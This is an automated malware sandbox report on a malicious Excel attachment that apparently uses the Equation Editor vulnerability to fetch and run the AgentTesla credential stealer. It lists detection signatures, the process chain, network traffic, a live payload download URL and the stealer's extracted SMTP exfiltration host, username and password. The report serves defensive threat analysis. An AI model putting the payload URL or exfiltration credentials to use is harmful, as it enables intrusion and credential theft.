Edit tour

Windows Analysis Report
Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Overview

General Information

Sample name:	Nova naredba_HR-WJO-12-10-2024.xlam.xlsx
Analysis ID:	1572388
MD5:	80422f16531f8c43944e04bf3538efdf
SHA1:	f137aa50426c79fa8645d6bfc2610a98cf2c4fa3
SHA256:	971e2daca5513d707e83bc64690d35a29a7c27d02fa0f1dce8b6694e79b9a65c
Tags:	xlamxlsxuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected AgentTesla

Binary is likely a compiled AutoIt script file

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Shellcode detected

Sigma detected: Equation Editor Network Connection

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3400 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 3608 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

ghxtg8op.exe (PID: 3752 cmdline: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe MD5: EF05B0557B2C8F0C951A1B21B812E75F)

RegSvcs.exe (PID: 3788 cmdline: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe MD5: 19855C0DC5BEC9FDF925307C57F9F5FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.worlorderbillions.top", "Username": "niggabown22jan2024@worlorderbillions.top", "Password": "3^?r?mtxk(kt               "}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x679c:$s1: <legacyDrawing r:id=" 0x67c4:$s2: <oleObject progId=" 0x680c:$s3: autoLoad="true"

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334fb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3356d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335f7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33689:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336f3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33765:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337fb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3388b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000006.00000002.635675466.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ghxtg8op.exe PID: 3752	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ghxtg8op.exe PID: 3752	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 3788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3788	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.ghxtg8op.exe.d00000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.ghxtg8op.exe.d00000.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.ghxtg8op.exe.d00000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334fb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3356d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335f7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33689:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336f3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33765:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337fb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3388b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334fb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3356d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335f7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33689:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336f3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33765:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337fb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3388b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.ghxtg8op.exe.d00000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.ghxtg8op.exe.d00000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.ghxtg8op.exe.d00000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316fb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3176d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317f7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31889:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318f3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31965:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319fb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a8b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 4 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 190.90.160.170, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3608, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3608, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49165, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3608, Protocol: tcp, SourceIp: 190.90.160.170, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, CommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3608, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ProcessId: 3752, ProcessName: ghxtg8op.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, CommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3608, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ProcessId: 3752, ProcessName: ghxtg8op.exe

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, CommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ParentImage: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ParentProcessId: 3752, ParentProcessName: ghxtg8op.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe, ProcessId: 3788, ProcessName: RegSvcs.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3608, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Avira: detected

Antivirus detection for URL or domain

Source: http://aquafusion.com.co/ngbx/ngown.exe

Avira URL Cloud: Label: malware

Found malware configuration

Source: 6.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.worlorderbillions.top", "Username": "niggabown22jan2024@worlorderbillions.top", "Password": "3^?r?mtxk(kt "}

Multi AV Scanner detection for submitted file

Source: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

ReversingLabs: Detection: 65%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe	Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 190.90.160.170 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: wntdll.pdb source: ghxtg8op.exe, 00000005.00000003.485569970.0000000002980000.00000004.00001000.00020000.00000000.sdmp, ghxtg8op.exe, 00000005.00000003.485229228.0000000002AE0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA445A GetFileAttributesW,FindFirstFileW,FindClose,	5_2_00DA445A
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAC6D1 FindFirstFileW,FindClose,	5_2_00DAC6D1
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_00DAC75C
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00DAEF95
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00DAF0F2
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_00DAF3F3
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_00DA37EF
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_00DA3B12
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DABCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_00DABCBC

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560540 WinExec,ExitProcess,	2_2_03560540
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604F5 URLDownloadToFileW,	2_2_035604F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0356047A LoadLibraryW,URLDownloadToFileW,	2_2_0356047A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035603CF ExitProcess,	2_2_035603CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560560 ExitProcess,	2_2_03560560
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035603E8 URLDownloadToFileW,	2_2_035603E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560494 URLDownloadToFileW,	2_2_03560494
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560404 URLDownloadToFileW,	2_2_03560404

Source: global traffic

DNS query: name: aquafusion.com.co

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
